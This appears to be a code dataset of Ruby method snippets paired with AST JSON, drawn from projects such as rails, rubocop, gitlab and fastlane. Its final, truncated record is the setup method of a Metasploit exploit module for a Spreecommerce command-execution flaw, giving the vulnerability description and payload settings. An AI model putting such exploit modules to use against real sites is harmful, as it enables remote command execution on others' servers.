{"repo_name":"liquid","file_path":"./repos/liquid/test/unit/parse_tree_visitor_test.rb","start_line":141,"raw_source":"def test_for_limit\n    assert_equal(\n      [\"test\"],\n      visit(%({% for x in (1..5) limit: test %}{% endfor %})),\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_for_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"str\",\"children\":[\"{% for x in (1..5) limit: test %}{% endfor %}\"]}]}]}]}","id":"968fdd0f-daa5-4bc5-bf44-7ec48fead71e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/client.rb","start_line":294,"raw_source":"def persistent_cookie_path\n      if ENV[\"SPACESHIP_COOKIE_PATH\"]\n        path = File.expand_path(File.join(ENV[\"SPACESHIP_COOKIE_PATH\"], \"spaceship\", self.user, \"cookie\"))\n      else\n        [File.join(self.fastlane_user_dir, \"spaceship\"), \"~/.spaceship\", \"/var/tmp/spaceship\", \"#{Dir.tmpdir}/spaceship\"].each do |dir|\n          dir_parts = File.split(dir)\n          if directory_accessible?(File.expand_path(dir_parts.first))\n            path = File.expand_path(File.join(dir, self.user, \"cookie\"))\n            break\n          end\n        end\n      end\n\n      return path\n    end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"persistent_cookie_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SPACESHIP_COOKIE_PATH\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SPACESHIP_COOKIE_PATH\"]}]},{\"type\":\"str\",\"children\":[\"spaceship\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user\"]},{\"type\":\"str\",\"children\":[\"cookie\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fastlane_user_dir\"]},{\"type\":\"str\",\"children\":[\"spaceship\"]}]},{\"type\":\"str\",\"children\":[\"~/.spaceship\"]},{\"type\":\"str\",\"children\":[\"/var/tmp/spaceship\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"tmpdir\"]}]},{\"type\":\"str\",\"children\":[\"/spaceship\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dir_parts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"split\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"directory_accessible?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dir_parts\"]},\"first\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"dir\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user\"]},{\"type\":\"str\",\"children\":[\"cookie\"]}]}]}]},{\"type\":\"break\",\"children\":[]}]},null]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"c4cabb2d-1060-47fc-ba7e-1ac805cf5b7b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/erb_new_arguments.rb","start_line":147,"raw_source":"def override_by_legacy_args(kwargs, node)\n          arguments = node.arguments\n          overridden_kwargs = kwargs.dup\n\n          overridden_kwargs[0] = \"trim_mode: #{arguments[2].source}\" if arguments[2]\n\n          if arguments[3] && !arguments[3].hash_type?\n            overridden_kwargs[1] = \"eoutvar: #{arguments[3].source}\"\n          end\n\n          overridden_kwargs\n        end","complexity_score":22.08,"ast_json":"{\"type\":\"def\",\"children\":[\"override_by_legacy_args\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"kwargs\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arguments\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]}]},{\"type\":\"lvasgn\",\"children\":[\"overridden_kwargs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overridden_kwargs\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"trim_mode: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"source\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"hash_type?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"overridden_kwargs\"]},\"[]=\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"eoutvar: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"source\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"overridden_kwargs\"]}]}]}","id":"6f8c5399-6bf6-46f6-ba1c-9629a29af2a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/milestones/promote_service.rb","start_line":81,"raw_source":"def destroy_old_milestones(milestone)\n      Milestone.where(id: milestone_ids_for_merge(milestone)).destroy_all # rubocop: disable Cop/DestroyAll\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_old_milestones\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"milestone\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Milestone\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"milestone_ids_for_merge\",{\"type\":\"lvar\",\"children\":[\"milestone\"]}]}]}]}]},\"destroy_all\"]}]}","id":"76eeba1f-4414-48c2-99a7-07fe1611ced7"}
{"repo_name":"spree","file_path":"./repos/spree/core/spec/lib/spree/service_module_spec.rb","start_line":99,"raw_source":"def call\n        run :first_method\n        run :second_method\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run\",{\"type\":\"sym\",\"children\":[\"first_method\"]}]},{\"type\":\"send\",\"children\":[null,\"run\",{\"type\":\"sym\",\"children\":[\"second_method\"]}]}]}]}","id":"20b2292e-7b7d-4d8e-a4fe-7eb43e2e306a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/github_integration/lib/open_project/github_integration/services/upsert_pull_request.rb","start_line":56,"raw_source":"def extract_params(payload)\n      {\n        github_id: payload.fetch(\"id\"),\n        github_user: github_user_id(payload.fetch(\"user\")),\n        number: payload.fetch(\"number\"),\n        github_html_url: payload.fetch(\"html_url\"),\n        github_updated_at: payload.fetch(\"updated_at\"),\n        state: payload.fetch(\"state\"),\n        title: payload.fetch(\"title\"),\n        body: payload.fetch(\"body\"),\n        repository: payload.fetch(\"base\")\n                          .fetch(\"repo\")\n                          .fetch(\"full_name\"),\n        repository_html_url: payload.fetch(\"base\")\n                                    .fetch(\"repo\")\n                                    .fetch(\"html_url\"),\n        draft: payload.fetch(\"draft\"),\n        merge_commit_sha: payload[\"merge_commit_sha\"],\n        merged: payload.fetch(\"merged\"),\n        merged_by: github_user_id(payload[\"merged_by\"]),\n        merged_at: payload[\"merged_at\"],\n        comments_count: payload.fetch(\"comments\"),\n        review_comments_count: payload.fetch(\"review_comments\"),\n        additions_count: payload.fetch(\"additions\"),\n        deletions_count: payload.fetch(\"deletions\"),\n        changed_files_count: payload.fetch(\"changed_files\"),\n        labels: payload.fetch(\"labels\").map { |values| extract_label_values(values) }\n      }\n    end","complexity_score":31.9,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"github_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"github_user\"]},{\"type\":\"send\",\"children\":[null,\"github_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"user\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"number\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"github_html_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"html_url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"github_updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"updated_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"state\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"body\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"base\"]}]},\"fetch\",{\"type\":\"str\",\"children\":[\"repo\"]}]},\"fetch\",{\"type\":\"str\",\"children\":[\"full_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository_html_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"base\"]}]},\"fetch\",{\"type\":\"str\",\"children\":[\"repo\"]}]},\"fetch\",{\"type\":\"str\",\"children\":[\"html_url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"draft\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"draft\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_commit_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"merge_commit_sha\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merged\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"merged\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merged_by\"]},{\"type\":\"send\",\"children\":[null,\"github_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"merged_by\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merged_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"str\",\"children\":[\"merged_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comments_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"comments\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"review_comments_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"review_comments\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"additions_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"additions\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deletions_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"deletions\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"changed_files_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"changed_files\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"labels\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"values\"]}]},{\"type\":\"send\",\"children\":[null,\"extract_label_values\",{\"type\":\"lvar\",\"children\":[\"values\"]}]}]}]}]}]}","id":"86dd647e-a794-49ed-8c78-c437398ae6ce"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":2532,"raw_source":"def form_text(action = \"/\", id = nil, html_class = nil, local = nil, multipart = nil, method = nil)\n      txt =  +%{<form accept-charset=\"UTF-8\"} + (action ? %{ action=\"#{action}\"} : \"\")\n      txt << %{ enctype=\"multipart/form-data\"} if multipart\n      txt << %{ data-remote=\"true\"} unless local\n      txt << %{ class=\"#{html_class}\"} if html_class\n      txt << %{ id=\"#{id}\"} if id\n      method = method.to_s == \"get\" ? \"get\" : \"post\"\n      txt << %{ method=\"#{method}\">}\n    end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"form_text\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"action\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"optarg\",\"children\":[\"id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"html_class\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"local\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"multipart\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"method\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"txt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<form accept-charset=\\\"UTF-8\\\"\"]},\"+@\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" action=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"multipart\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"txt\"]},\"<<\",{\"type\":\"str\",\"children\":[\" enctype=\\\"multipart/form-data\\\"\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"txt\"]},\"<<\",{\"type\":\"str\",\"children\":[\" data-remote=\\\"true\\\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"txt\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" class=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html_class\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"txt\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" id=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"get\"]}]},{\"type\":\"str\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"post\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"txt\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" method=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]}]}]}]}]}","id":"5298f957-b0fc-40c7-adab-b628c8017bc5"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/generic_bulk.rb","start_line":841,"raw_source":"def import_topic_allowed_groups\n    puts \"\", \"Importing topic_allowed_groups...\"\n\n    topics = query(<<~SQL)\n      SELECT\n        t.id,\n        group_ids.value AS group_id\n      FROM topics t, JSON_EACH(t.private_message, '$.group_ids') AS group_ids\n      WHERE t.private_message IS NOT NULL\n      ORDER BY t.id\n    SQL\n\n    added = 0\n    existing_topic_allowed_groups = TopicAllowedGroup.pluck(:topic_id, :group_id).to_set\n\n    create_topic_allowed_groups(topics) do |row|\n      topic_id = topic_id_from_imported_id(row[\"id\"])\n      group_id = group_id_from_imported_id(row[\"group_id\"])\n\n      next unless topic_id && group_id\n      next unless existing_topic_allowed_groups.add?([topic_id, group_id])\n\n      added += 1\n\n      { topic_id: topic_id, group_id: group_id }\n    end\n\n    # TODO: Add support for special group names\n\n    topics.close\n\n    puts \"  Added #{added} topic_allowed_groups records.\"\n  end","complexity_score":26.35,"ast_json":"{\"type\":\"def\",\"children\":[\"import_topic_allowed_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Importing topic_allowed_groups...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  t.id,\\n\"]},{\"type\":\"str\",\"children\":[\"  group_ids.value AS group_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM topics t, JSON_EACH(t.private_message, '$.group_ids') AS group_ids\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE t.private_message IS NOT NULL\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY t.id\\n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"added\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_topic_allowed_groups\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicAllowedGroup\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"sym\",\"children\":[\"group_id\"]}]},\"to_set\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_topic_allowed_groups\",{\"type\":\"lvar\",\"children\":[\"topics\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic_id\",{\"type\":\"send\",\"children\":[null,\"topic_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"group_id\",{\"type\":\"send\",\"children\":[null,\"group_id_from_imported_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"group_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"group_id\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_topic_allowed_groups\"]},\"add?\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"group_id\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"added\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"lvar\",\"children\":[\"group_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  Added \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added\"]}]},{\"type\":\"str\",\"children\":[\" topic_allowed_groups records.\"]}]}]}]}]}","id":"ab41e132-6280-4250-b712-08b7e4c05d68"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/util.rb","start_line":6,"raw_source":"def self.silence_warnings\n      # Replaces Kernel::silence_warnings since it hides any warnings,\n      # including the RuboCop ones\n      old_verbose = $VERBOSE\n      $VERBOSE = nil\n      yield\n    ensure\n      $VERBOSE = old_verbose\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"silence_warnings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_verbose\",{\"type\":\"gvar\",\"children\":[\"$VERBOSE\"]}]},{\"type\":\"gvasgn\",\"children\":[\"$VERBOSE\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"gvasgn\",\"children\":[\"$VERBOSE\",{\"type\":\"lvar\",\"children\":[\"old_verbose\"]}]}]}]}","id":"85a03936-a505-4fea-bc7c-8f2b1b38b75d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/spree_search_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Spreecommerce 0.60.1 Arbitrary Command Execution',\n        'Description' => %q{\n          This module exploits an arbitrary command execution vulnerability in the\n          Spreecommerce search. Unvalidated input is called via the\n          Ruby send method allowing command execution.\n        },\n        'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], # Phenoelit\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2011-10019' ],\n          [ 'OSVDB', '76011'],\n          [ 'URL', 'http://spreecommerce.com/blog/2011/10/05/remote-command-product-group/' ],\n        ],\n        'Privileged' => false,\n        'Payload' => {\n          'BadChars' => \"\\x60\",\n          'DisableNops' => true,\n          'Space' => 31337,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                        }\n        },\n        'Platform' => %w{linux unix},\n        'Arch' => ARCH_CMD,\n        'Targets' => [[ 'Automatic', {}]],\n        'DisclosureDate' => '2011-10-05',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('URI', [true, \"The path to the Spreecommerce main site\", \"/\"]),\n      ]\n    )\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Spreecommerce 0.60.1 Arbitrary Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an arbitrary command execution vulnerability in the\\n\"]},{\"type\":\"str\",\"children\":[\"          Spreecommerce search. Unvalidated input is called via the\\n\"]},{\"type\":\"str\",\"children\":[\"          Ruby send method allowing command execution.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"joernchen 